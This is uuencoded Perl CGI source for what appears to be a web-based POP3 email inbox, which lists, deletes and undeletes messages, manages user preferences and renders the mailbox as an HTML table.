3<W5B(&=E=%]O=7)?=6ED;"!["@``
C;7D@*"1M<V=N;RPD;7-G<VEZ92PD<V]C:V5T*2`]($!?.PH`
*;&]C86P@)%\["@``
M;7D@*"1F<F]M+"1D871E+"1S=6)J96-T+"1M97-S86=E:60L)'5I9&PI(#T@
2*"<G+"<G+"<G+"<G+"<G*3L*
D<V5N9"@D<V]C:V5T+")43U`@)&US9VYO(#!<<EQN(BPP*3L*
.)%\]/"1S;V-K970^.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<<C]<;B0O
%("D@>PH`
5:68@*"`O7D9R;VTZ("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&9R;VT@/2`D7SL*
"?0H`
5:68@*"`O7D1A=&4Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&1A=&4@/2`D7SL*
"?0H`
8:68@*"`O7E-U8FIE8W0Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
<)'-U8FIE8W0@/2!S=6)S='(H)%\L,"PS,BD["@``
"?0H`
;:68@*"`O7FUE<W-A9V4M:60Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
1)&UE<W-A9V5I9"`]("1?.PH`
"?0H`
"?0H`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
()"\@*2![?0H`
,)'5I9&P@/2`G)SL*
2:68@*"1M97-S86=E:60I('L*
F)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1M97-S86=E:60I.PH`
)?2!E;'-E('L*
M)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"(D9G)O;21D871E)'-U8FIE8W0D
+;7-G<VEZ92(I.PH`
"?0H`
"?0H`
/<W5B(')E861S;V-K('L*
3;7D@*"1S;V-K970I(#T@0%\["@``
/;7D@)&1A=&$@/2`G)SL*
.;7D@)&)U9B`]("<G.PH`
8=VAI;&4@*"1B=68@(7X@+UQN)"\I('L*
0)&)U9CT\)'-O8VME=#X["@``
/)&1A=&$@+CT@)&)U9CL*
"?0H`
.<F5T=7)N("1D871A.PH`
"?0H`
:<W5B('!A<G-E7V5M86EL7V%D9')E<W,@>PH`
*;&]C86P@)%\["@``
9;7D@*"1F=6QL7V%D9')E<W,I(#T@0%\["@``
M;7D@*$!A9&1R<RD@/2!-86EL.CI!9&1R97-S+3YP87)S92@D9G5L;%]A9&1R
&97-S*3L*
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
.:68@*$!A9&1R<RD@>PH`
K*"1N86UE(#T@)&%D9')S6S!=+3YP:')A<V4I(#U^(',O6R(G72LO+V<["@``
B)&%D9"`@(#T@(&QC*"1A9&1R<ULP72T^861D<F5S<RD["@``
M*"1C;VUM("`]("`D861D<G-;,%TM/F-O;6UE;G0I(#U^(',O6R@I72\O9SL*
)?2!E;'-E('L*
2)&YA;64@("`](").;VYE(CL*
2)&%D9"`@("`](").;VYE(CL*
2)&-O;6T@("`](").;VYE(CL*
"?0H`
;<F5T=7)N("@D;F%M92PD861D+"1C;VUM*3L*
"?0H`
0<W5B(&=E=%]F:65L9"!["@``
5;7D@*"1R96,L)&9L9"D@/2!`7SL*
/;7D@)'9A;#UU;F1E9CL*
M*"0D<F5C(#U^(&TC)"1F;&0Z*%M>7'Q=*BDC*2`F)B`H)'9A;"`]("0Q*3L*
-<F5T=7)N("1V86P["@``
"?0H`
#,3L*
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
E;7D@)4,@/2`F9V5T7V-O;&]R<R@D4'M714)-04E,1$E2?2D["@``
7;7D@)4P@/2`F9V5T7VQA;F=U86=E.PH`
-=6UA<VLH,#`W-RD["@``
2;7D@*"1I+"1Q<W1R:6YG*3L*
J:68@*"`D14Y6>R=215%515-47TU%5$A/1"=](&5Q(")03U-4(B`I('L*
M<F5A9"A35$1)3BPD<7-T<FEN9RPD14Y6>R=#3TY414Y47TQ%3D=42"=]+#`I
<('Q\(&1I92`B<F5A9"!E<G)O<CH@)"%<;B(["@``
)?2!E;'-E('L*
C)'%S=')I;F<@("`]("1%3E9[)U%515)97U-44DE.1R=].PH`
"?0H`
@;7D@0$1!5$$@/2!S<&QI="@O)B\L)'%S=')I;F<I.PH`
2;7D@)&QI<W0@/2!U;F1E9CL*
6;7D@)'!A<W-W;W)D(#T@=6YD968["@``
6;7D@)'5S97)N86UE(#T@=6YD968["@``
6;7D@)'EO=7)N86UE(#T@=6YD968["@``
9;7D@)'EO=7)A9&1R97-S(#T@=6YD968["@``
5;7D@)'EO=7)S:6<@/2!U;F1E9CL*
4;7D@)&%C=&EO;B`]('5N9&5F.PH`
4;7D@)&9O;&1E<B`]('5N9&5F.PH`
59F]R96%C:"`D7R`H0$1!5$$I('L*
C;7D@*"1N86UE+"1V86QU92D@/2!S<&QI="@O/2\L)%\I.PH`
@)'9A;'5E(#T@)G5N97-C87!E7W5R;"@D=F%L=64I.PH`
4:68@*"1N86UE(&5Q(")0(BD@>PH`
4)'!A<W-W;W)D(#T@)'9A;'5E.PH`
>)G9A;&ED871E*"1P87-S=V]R9"PG+BHG+#,R*3L*
K)'!A<W-W;W)D(#U^("]>*"XJ*20O("8F("@D<&%S<W=O<F0@/2`D,2D["@``
<?2!E;'-I9B`H)&YA;64@97$@(DQ)4U0B*2!["@``
0)&QI<W0@/2`D=F%L=64["@``
>)G9A;&ED871E*"1L:7-T+"=;7&0@72HG+#8T*3L*
C)&QI<W0@/7X@+UXH+BHI)"\@)B8@*"1L:7-T(#T@)#$I.PH`
@?2!E;'-I9B`H)&YA;64@97$@(E5315).04U%(BD@>PH`
8)'5S97)N86UE(#T@;&,H)'9A;'5E*3L*
B)G9A;&ED871E7W5S97)N86UE*"1U<V5R;F%M92PS,BD["@``
K)'5S97)N86UE(#U^("]>*"XJ*20O("8F("@D=7-E<FYA;64@/2`D,2D["@``
>?2!E;'-I9B`H)&YA;64@97$@(D%#5$E/3B(I('L*
4)&%C=&EO;B`@(#T@)'9A;'5E.PH`
B)G9A;&ED871E*"1A8W1I;VXL)UM<=UPM(%TJ)RPV-"D["@``
G)&%C=&EO;B`]?B`O7B@N*BDD+R`F)B`H)&%C=&EO;B`]("0Q*3L*
E?2!E;'-I9B`H)&YA;64@97$@(E-%3$5#5$5$7TU31U,B*2!["@``
;)G9A;&ED871E*"1V86QU92PG7&0K)RPU*3L*
E)'9A;'5E(#U^("]>*"XJ*20O("8F("@D=F%L=64@/2`D,2D["@``
=<'5S:"A`<V5L96-T961?;7-G<RPD=F%L=64I.PH`
@?2!E;'-I9B`H)&YA;64@97$@(EE/55).04U%(BD@>PH`
2)'EO=7)N86UE/21V86QU93L*
>)G9A;&ED871E*"1Y;W5R;F%M92PG+BHG+#8T*3L*
K)'EO=7)N86UE(#U^("]>*"XJ*20O("8F("@D>6]U<FYA;64@/2`D,2D["@``
C?2!E;'-I9B`H)&YA;64@97$@(EE/55)!1$1215-3(BD@>PH`
5)'EO=7)A9&1R97-S/21V86QU93L*
A)G9A;&ED871E*"1Y;W5R861D<F5S<RPG+BHG+#8T*3L*
M)'EO=7)A9&1R97-S(#U^("]>*"XJ*20O("8F("@D>6]U<F%D9')E<W,@/2`D
$,2D["@``
??2!E;'-I9B`H)&YA;64@97$@(EE/55)324<B*2!["@``
1)'EO=7)S:6<])'9A;'5E.PH`
I)'EO=7)S:6<@/7X@+UXH+BHI)"\@)B8@*"1Y;W5R<VEG(#T@)#$I.PH`
B*&QE;F=T:"`D>6]U<G-I9R`^(#$P,C0I("8F(&5X:70["@``
>?2!E;'-I9B`H)&YA;64@97$@(D9/3$1%4B(I('L*
0)&9O;&1E<CTD=F%L=64["@``
G)&9O;&1E<B`]?B`O7B@N*BDD+R`F)B`H)&9O;&1E<B`]("0Q*3L*
?*&QE;F=T:"`D9F]L9&5R(#X@,38I("8F(&5X:70["@``
"?0H`
"?0H`
M;7D@)'5S97)?9&ER;F%M92`]("(D4'M714)-04E,1$E2?2\D=7-E<FYA;64B
".PH`
G;7D@)5!21493(#T@)F=E=%]P<F5F<R@D=7-E<E]D:7)N86UE*3L*
-)&YU;6YE=R`](#`["@``
M)'-E;G1?9FYA;64@/2`B)'5S97)?9&ER;F%M92]!1$I%4T5.5$9/3$1%4D%#
+5$E612YT>'0B.PH`
L)&US9V1B(#T@("`@("`B)'5S97)?9&ER;F%M92]M97-S86=E<RYT>'0B.PH`
C(61E9FEN960H)&9O;&1E<BD@)B8@*"1F;VQD97(])R<I.PH`
::68@*"1A8W1I;VX@;F4@(FQO9VEN(BD@>PH`
M)F-H96-K7VQO9VEN*%PE3"Q<)4,L)'5S97)?9&ER;F%M92PD4'M424U%3U54
$?2D["@``
=:68@*"1F;VQD97(@97$@(G-E;G1M<V=S(BD@>PH`
E;W!E;BA31D@L(CXD<V5N=%]F;F%M92(I.R!C;&]S92!31D@["@``
A?2!E;'-I9B`H)&9O;&1E<B!E<2`B<&]P;7-G<R(I('L*
F+68@)'-E;G1?9FYA;64@)B8@=6YL:6YK("1S96YT7V9N86UE.PH`
"?0H`
6:68@*"UF("1S96YT7V9N86UE*2!["@``
J)&US9V1B(#T@(B1U<V5R7V1I<FYA;64O;W5T;65S<V%G97,N='AT(CL*
.)%![4U!34WT@/2`P.PH`
"?0H`
"?0H`
M:68@*"`H)&%C=&EO;B!E<2`B;&]G:6XB*2!\?"`H)&%C=&EO;B!E<2`B;6%I
7;&)O>"(@)B8@)%![4U!34WTI("D@>PH`
::68@*"1A8W1I;VX@97$@(FQO9VEN(BD@>PH`
M*"1L:7-T(#U^("];7&0@72LO*2`F)B`H)'!A<W-W;W)D(#T@)G5N9')E<W-I
5="@D=7-E<FYA;64L)&QI<W0I*3L*
"?0H`
<:68@*"1A8W1I;VX@97$@(FUA:6QB;W@B*2!["@``
G;W!E;BA01D@L(CPD=7-E<E]D:7)N86UE+RYD=W-S<"YT>'0B*3L*
?)'!A<W-W;W)D(#T@=6YP86-K*"=U)RP\4$9(/BD["@``
,8VQO<V4H4$9(*3L*
"?0H`
3)G!O<%]T;U]M<V=?87)R87D["@``
::68@*"1A8W1I;VX@97$@(FQO9VEN(BD@>PH`
F+68@)'-E;G1?9FYA;64@)B8@=6YL:6YK("1S96YT7V9N86UE.PH`
')"(])R<["@``
M)&]U=&US9V1B(#T@(B1U<V5R7V1I<FYA;64O;W5T;65S<V%G97,N='AT(CL*
4:68@*"UF("1O=71M<V=D8BD@>PH`
8;W!E;BA/1D@L(CPD;W5T;7-G9&(B*3L*
<0&]U=&%R<B`](#Q/1D@^.R!C;&]S92!/1D@["@``
49F]R96%C:"`H0&]U=&%R<BD@>PH`
?+U9!4EPO4U1!5$4Z1$5,151%7'PO("8F(&YE>'0["@``
2<'5S:"A`;F5W;W5T+"1?*3L*
"?0H`
::68@*$!N97=O=70@(3T@0&]U=&%R<BD@>PH`
8;W!E;BA/1D@L(CXD;W5T;7-G9&(B*3L*
5<')I;G0@3T9((")`;F5W;W5T(CL*
+8VQO<V4@3T9(.PH`
"?0H`
"?0H`
>?2`C(&5N9"!I9B!A8W1I;VX@97$@;&]G:6XN+BX*
M?2!E;'-E('L@(R!E;F0@:68@*"`D86-T:6]N(&5Q(")L;V=I;B(@?'P@)&%C
6=&EO;B!E<2`B;6%I;&)O>"(I+BXN"@``
M0&YE=U]M<V=S(#T@)G)E861?;65S<V%G97-?9G)O;5]D:7-K*"1M<V=D8BD[
!"@``
"?0H`
=:68@*"1A8W1I;VX@97$@(G-E='!R969S(BD@>PH`
M*"`A("UF("(D=7-E<E]D:7)N86UE+W!R969S+G1X="(@*2`F)B`H)&YU;6YE
0=R`]($!N97=?;7-G<RD["@``
M)5!21493(#T@)G-E='!R969S*"1U<V5R7V1I<FYA;64L)'EO=7)N86UE+"1Y
6;W5R861D<F5S<RPD>6]U<G-I9RD["@``
5)&%C=&EO;B`](")M86EL8F]X(CL*
"?0H`
G:68@*"`D86-T:6]N(#U^("]D96QE=&4@<V5L96-T960O:2`I('L*
>9F]R96%C:"`D:2`H0'-E;&5C=&5D7VUS9W,I('L*
M)&YE=U]M<V=S6R1I72`]?B!S+UQ\5D%27"]35$%413HN*S]<?"]<?%9!4EPO
14U1!5$4Z1$5,151%7'PO.PH`
"?0H`
I?2`C(&5N9"!I9B`D86-T:6]N(#U^("]D96QE=&4@<V5L96-T960O:0H`
A:68@*"`D86-T:6]N(#U^("]U;BUD96QE=&4O:2`I('L*
?9F]R("@D:3TP.R1I/$!N97=?;7-G<SLD:2LK*2!["@``
M:68@*"`D;F5W7VUS9W-;)&E=(#U^("]<?%9!4EPO4U1!5$4Z1$5,151%7'PO
%("D@>PH`
M)&YE=U]M<V=S6R1I72`]?B!S+UQ\5D%27"]35$%413I$14Q%5$5<?"]<?%9!
44EPO4U1!5$4Z54Y214%$7'PO.PH`
"?0H`
"?0H`
C?2`C(&5N9"!I9B`D86-T:6]N(#U^("]U;BUD96QE=&4O:0H`
6;W!E;BA4349(+"(^)&US9V1B(BD["@``
99F]R96%C:"`D7R`H0&YE=U]M<V=S*2!["@``
3<')I;G0@5$U&2"`B)%]<;B(["@``
;)79A<G,@/2`F9V5T7W)E8U]H87-H*"1?*3L*
6<'5S:"!`;7-G<RP@>R`E=F%R<R!]"@``
"?0H`
-8VQO<V4H5$U&2"D["@``
M:68@*"`H(2`M9B`B)'5S97)?9&ER;F%M92]P<F5F<RYT>'0B*2!\?"`@*"1A
:8W1I;VX@97$@(G-H;W=P<F5F<R(I("D@>PH`
M)G-H;W=P<F5F<R@D=7-E<FYA;64L)'5S97)?9&ER;F%M92Q<)4,L7"5,*3L*
"?0H`
F;7D@)&US9W1O="`]("9G971?;7-G=&]T*%Q`;F5W7VUS9W,I.PH`
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
F/'1I=&QE/B1,>R=796(@0F%S960@12U-86EL)WT\+W1I=&QE/@H`
M/&UE=&$@:'1T<"UE<75I=CTB0V%C:&4M0V]N=')O;#H@;F\M8V%C:&4L(&YO
:+7-T;W)E+"!M=7-T+7)E=F%L:61A=&4B/@H`
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]/1D972$E417T@3$E.2STD0WM,24Y+?2!!
@3$E.2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
(2$52141/0PH`
1;7D@)'1I;64@/2!T:6UE.PH`
M)G!R:6YT7W1O<%]M96YU*"(@.B`D;7-G=&]T(BPD=7-E<E]D:7)N86UE+%PE
(3"Q<)4,I.PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7VEN8F]X7W1A8FQE7VAE861E<G,H)'1I;64L)&US9W1O="Q<)4PL
.7"5#+%PE4%)%1E,I.PH`
:9F]R*"1I/3`[)&D\0&US9W,[)&DK*RD@>PH`
2)&US9R`]("1M<V=S6R1I73L*
E*"1M<V<M/GM35$%417T@97$@(D1%3$5412(I("8F(&YE>'0["@``
M)&US9V9R;VT]("1M<V<M/GM&4D]-3D%-17T@/R`D;7-G+3Y[1E)/34Y!345]
8(#H@)&US9RT^>T923TU#3TU-14Y4?3L*
M)&US9V9R;VT]("1M<V=F<F]M("`_("1M<V=F<F]M("`Z("1M<V<M/GM&4D]-
&041$?3L*
M)&US9W-I>F5K(#T@:6YT*"1M<V<M/GM-15-304=%4TE:17T@+R`Q,#(T*2`K
$(#$["@``
M)&US9W-U8FIE8W0@/2`D;7-G+3Y[4U5"2D5#5'T@/R`D;7-G+3Y[4U5"2D5#
-5'T@.B`B3F]N92(["@``
M)'5N<F5A9"`]("1M<V<M/GM35$%417T@;F4@(E5.4D5!1"(@/R`B(B`Z(")B
79V-O;&]R/21#>T)'7U!54E!,17TB.PH`
@<'5S:"A`;7-G7W5N<F5A9',L(B<D=6YR96%D)R(I.PH`
7<'5S:"A`;7-G7VYO<RPB)R1I)R(I.PH`
7)&US9V9R;VT@/7X@<R\G+UQ<)R]G.PH`
?<'5S:"A`;7-G7V9R;VUS+"(G)&US9V9R;VTG(BD["@``
))'1I;64K*SL*
<<'5S:"A`;7-G7W1I;65S+"(G)'1I;64G(BD["@``
I)&US9W-U8FIE8W0@/2`F97-C87!E7VAT;6PH)&US9W-U8FIE8W0I.PH`
:)&US9W-U8FIE8W0@/7X@<R\G+UQ<)R]G.PH`
E<'5S:"A`;7-G7W-U8FIE8W1S+"(G)&US9W-U8FIE8W0G(BD["@``
E<'5S:"A`;7-G7V1A>6UO<RPB)R1M<V<M/GM$05E-3WTG(BD["@``
D<'5S:"A`;7-G7W-I>F5K<RPB)R1[;7-G<VEZ96M]:R<B*3L*
8?2`C(&QO;W`@;VX@;65S<V%G97,N+BX*
/:68@*"1M<V=T;W0I('L*
()"(](BPB.PH`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
G=F%R('5N<F5A9',@/2!N97<@07)R87DH0&US9U]U;G)E861S*3L*
B=F%R(&US9VYO<R`](&YE=R!!<G)A>2A`;7-G7VYO<RD["@``
F=F%R(&US9V9R;VUS(#T@;F5W($%R<F%Y*$!M<V=?9G)O;7,I.PH`
F=F%R(&US9W1I;65S(#T@;F5W($%R<F%Y*$!M<V=?=&EM97,I.PH`
L=F%R(&US9W-U8FIE8W1S(#T@;F5W($%R<F%Y*$!M<V=?<W5B:F5C=',I.PH`
H=F%R(&US9V1A>6UO<R`](&YE=R!!<G)A>2A`;7-G7V1A>6UO<RD["@``
H=F%R(&US9W-I>F5K<R`](&YE=R!!<G)A>2A`;7-G7W-I>F5K<RD["@``
M=F%R('1D(#T@)SQT9#X\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B(&-O
6;&]R/21#>U1%6%1?0DQ!0TM]/B<["@``
G9F]R("AV87(@:3TP.R!I/'5N<F5A9',N;&5N9W1H.R!I*RLI('L*
M9&]C=6UE;G0N=W)I=&5L;B@G/'1R(&)G8V]L;W(])$-[0D=?5TA)5$5]/B<I
".PH`
M9&]C=6UE;G0N=W)I=&5L;B@G/'1D("<@*R!U;G)E861S6VE=("L@)R!V86QI
M9VX];6ED9&QE(&%L:6=N/6-E;G1E<CX\:6YP=70@='EP93UC:&5C:V)O>"!N
M86UE/5-%3$5#5$5$7TU31U,@=F%L=64])R`K(&US9VYO<UMI72`K)SX\+W1D
%/B<I.PH`
M9&]C=6UE;G0N=W)I=&5L;BAT9"`K(&US9V9R;VUS6VE=("L@)SPO9F]N=#X\
(+W1D/B<I.PH`
M9&]C=6UE;G0N=W)I=&5L;BAT9"`K("<\82!H<F5F/2)S:&]W;7-G+F-G:3]-
M4T=.3STG("L@;7-G;F]S6VE=("L@)R954T523D%-13TD=7-E<FYA;64F5#TG
M("L@;7-G=&EM97-;:5T@*R`G(CXG("L@;7-G<W5B:F5C='-;:5T@*R`G/"]A
1/CPO9F]N=#X\+W1D/B<I.PH`
M9&]C=6UE;G0N=W)I=&5L;BAT9"`K(&US9V1A>6UO<UMI72`K("<\+V9O;G0^
)/"]T9#XG*3L*
M9&]C=6UE;G0N=W)I=&5L;BAT9"`K(&US9W-I>F5K<UMI72`K("<\+V9O;G0^
)/"]T9#XG*3L*
;9&]C=6UE;G0N=W)I=&5L;B@G/"]T<CXG*3L*
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
(2$52141/0PH`
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
M/'1D(&-O;'-P86X],2!V86QI9VX](FUI9&1L92(@86QI9VX](F-E;G1E<B(^
M/&EN<'5T('1Y<&4](F-H96-K8F]X(B!N86UE/2)S96QE8W1?86QL(B!O;D-L
G:6-K/2)C:&5C:U]A;&Q?;7-G<R@I(B!V86QU93TB-"(^/"]T9#X*
M/'1D(&-O;'-P86X]-"!A;&EG;CUL969T/CQE;3X\<W1R;VYG/CQF;VYT(&9A
M8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$585%]"3$%#2WT^)$Q[
M)U-E;&5C="!!;&P@365S<V%G97,G?3PO9F]N=#X\+W-T<F]N9SX\+V5M/CPO
$=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
D/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(CX*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=$96QE=&4@4V5L96-T
M960@365S<V%G97,@1G)O;2!-86EL(%-E<G9E<B=](B!O;D-L:6-K/2)S971?
M9&5L971E*"DB/B9N8G-P.R9N8G-P.SQI;G!U="!T>7!E/2)S=6)M:70B('9A
M;'5E/2(D3'LG56XM1&5L971E)WTB(&]N8VQI8VL](G-E=%]U;F1E;&5T92@I
#(CX*
(/"]F;W)M/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
)/"]T86)L93X*
D/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(CX*
M)FYB<W`[)FYB<W`[/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=5
F;BU$96QE=&4G?2(@;VYC;&EC:STB<V5T7W5N9&5L971E*"DB/@H`
(/"]F;W)M/@H`
(2$52141/0PH`
"?0H`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")!3$PB+%PE0RQ<
%)4PI.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@<V5T7W5N9&5L971E*"D@>PH`
I9&]C=6UE;G0N:6YB;W@N04-424].+G9A;'5E/2)U;BUD96QE=&4B.PH`
"?0H`
89G5N8W1I;VX@<V5T7V1E;&5T92@I('L*
M9&]C=6UE;G0N:6YB;W@N04-424].+G9A;'5E/2)D96QE=&4@<V5L96-T960@
+;65S<V%G97,B.PH`
"?0H`
<9G5N8W1I;VX@8VAE8VM?86QL7VUS9W,H*2!["@``
M9F]R("AV87(@:3TP.VD\9&]C=6UE;G0N:6YB;W@N96QE;65N=',N;&5N9W1H
(.VDK*RD@>PH`
E=F%R(&5L(#T@9&]C=6UE;G0N:6YB;W@N96QE;65N='-;:5T["@``
?:68@*&5L+FYA;64@(3T@)W-E;&5C=%]A;&PG*2!["@``
K:68@*"!D;V-U;65N="YI;F)O>"YS96QE8W1?86QL+F-H96-K960@*2!["@``
M:68@*"`A96PN8VAE8VME9"`I("!E;"YC:&5C:V5D(#T@(65L+F-H96-K960[
!"@``
)?2!E;'-E('L*
M:68@*"`@96PN8VAE8VME9"`I("!E;"YC:&5C:V5D(#T@(65L+F-H96-K960[
!"@``
"?0H`
"?0H`
"?0H`
"?0H`
'+R\@+2T^"@``
*/"]S8W)I<'0^"@``
(/"]H=&UL/@H`
(2$52141/0PH`
6<W5B('!R:6YT7VEN8F]X7VUS9R!["@``
E;7D@*"1T:6UE+"1M<V=N;RPD;7-G+"1C;VQO<G,I(#T@0%\["@``
/;7D@)6US9STE)&US9SL*
0;7D@)4,])21C;VQO<G,["@``
M;7D@)&US9V9R;VT]("1M<V=[1E)/34Y!345](#\@)&US9WM&4D]-3D%-17T@
5.B`D;7-G>T923TU#3TU-14Y4?3L*
M)&US9V9R;VT]("1M<V=F<F]M("`_("1M<V=F<F]M("`Z("1M<V=[1E)/34%$
$1'T["@``
M;7D@)&US9W-I>F5K(#T@:6YT*"1M<V=[34534T%'15-)6D5]("\@,3`R-"D@
%*R`Q.PH`
2)&US9W-I>F5K("X](")K(CL*
M;7D@)&US9W-U8FIE8W0@/2`D;7-G>U-50DI%0U1](#\@)&US9WM354)*14-4
,?2`Z(").;VYE(CL*
M;7D@)'5N<F5A9"`]("1M<V<M/GM35$%417T@;F4@(E5.4D5!1"(@/R`B(B`Z
:(")B9V-O;&]R/21#>T)'7U!54E!,17TB.PH`
0<')I;G0\/$A%4D5$3T,["@``
:/'1R(&)G8V]L;W(])$-[0D=?5TA)5$5]/@H`
M/'1D("1U;G)E860@=F%L:6=N/6UI9&1L92!A;&EG;CUC96YT97(^/&EN<'5T
M('1Y<&4]8VAE8VMB;W@@;F%M93U314Q%0U1%1%]-4T=3('9A;'5E/21M<V=N
(;SX\+W1D/@H`
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
>5%]"3$%#2WT^)&US9V9R;VT\+V9O;G0^/"]T9#X*
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(^/&$@:')E9CTB<VAO
M=VUS9RYC9VD_35-'3D\])&US9VYO)E5315).04U%/21U<V5R;F%M9294/21T
A:6UE(CXD;7-G<W5B:F5C=#PO83X\+V9O;G0^/"]T9#X*
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
A5%]"3$%#2WT^)&US9WM$05E-3WT\+V9O;G0^/"]T9#X*
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
?5%]"3$%#2WT^)&US9W-I>F5K/"]F;VYT/CPO=&0^"@``
&/"]T<CX*
(2$52141/0PH`
"?0H`
@<W5B('!R:6YT7VEN8F]X7W1A8FQE7VAE861E<G,@>PH`
M;7D@*"1T:6UE+"1M<V=T;W0L)&QA;F<L)&-O;&]R<RPD<')E9G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
3;7D@)5!21493/24D<')E9G,["@``
0<')I;G0\/$A%4D5$3T,["@``
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN8F]X+F-G:2(@;F%M93TB
(:6YB;W@B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
M/'1A8FQE(&)O<F1E<CTB,"(@8V5L;'!A9&1I;F<](C0B(&-E;&QS<&%C:6YG
&/2(R(CX*
=/'1R(&)G8V]L;W(])$-[0D=?3T9&5TA)5$5]/@H`
:/'1D(&-O;'-P86X],B!A;&EG;CUL969T/@H`
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
M04-+?3X\8CXD3'LG3F5W($UE<W-A9V5S)WT@.B`D;G5M;F5W/"]B/CPO9F]N
#=#X*
&/"]T9#X*
;/'1D(&-O;'-P86X],R!A;&EG;CUR:6=H=#X*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
M/&(^/&5M/CQA(&AR968](FEN8F]X+F-G:3]54T523D%-13TD=7-E<FYA;64F
M04-424]./7-H;W=P<F5F<R94/21T:6UE(CXD3'LG4V5T(%!R969E<F5N8V5S
M)WT\+V$^/"]E;3X\+V(^(#QB/CQE;3XD4%)%1E-[64]54D%$1%)%4U-]/"]E
';3X\+V(^"@``
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
(2$52141/0PH`
/:68@*"1M<V=T;W0I('L*
0<')I;G0\/$A%4D5$3T,["@``
;/'1R(&)G8V]L;W(])$-[0D=?3U)!3D=%?3X*
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
M5%]"3$%#2WT^/'-T<F]N9SXD3'LG1G)O;2=].CPO<W1R;VYG/CPO9F]N=#X\
%+W1D/@H`
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
M5%]"3$%#2WT^/'-T<F]N9SXD3'LG4W5B:F5C="=].CPO<W1R;VYG/CPO9F]N
(=#X\+W1D/@H`
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
M5%]"3$%#2WT^/'-T<F]N9SXD3'LG1&%T92=].CPO<W1R;VYG/CPO9F]N=#X\
%+W1D/@H`
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
M5%]"3$%#2WT^/'-T<F]N9SXD3'LG4VEZ92=].CPO<W1R;VYG/CPO9F]N=#X\
%+W1D/@H`
&/"]T<CX*
(2$52141/0PH`
"?0H`
"?0H`
1<W5B('!E<FQ?<&%R<V4@>PH`
=;7D@*"1F:6QE+"1O=71P=71?9&ER*2`]($!?.PH`
?;7D@)'!A<G-E<B`](&YE=R!-24U%.CI087)S97(["@``
E)'!A<G-E<BT^97AT<F%C=%]N97-T961?;65S<V%G97,H,2D["@``
D)'!A<G-E<BT^;W5T<'5T7W5N9&5R*"1O=71P=71?9&ER*3L*
>)'!A<G-E<BT^97AT<F%C=%]U=65N8V]D92@Q*3L*
M;W!E;B!&24Q%+"`D9FEL92!O<B!D:64@(F-O=6QD;B=T(&]P96X@)&9I;&4B
".PH`
M)&5N=&ET>2`]("1P87)S97(M/G)E860H7"I&24Q%*2!O<B!P<FEN="`B0V]U
6;&1N)W0@<&%R<V4@)&9I;&5<;B(["@``
,8VQO<V4@1DE,13L*
*;7D@0&US9W,["@``
/:68@*"1E;G1I='DI('L*
?0&US9W,@/2`F9'5M<%]E;G1I='DH)&5N=&ET>2D["@``
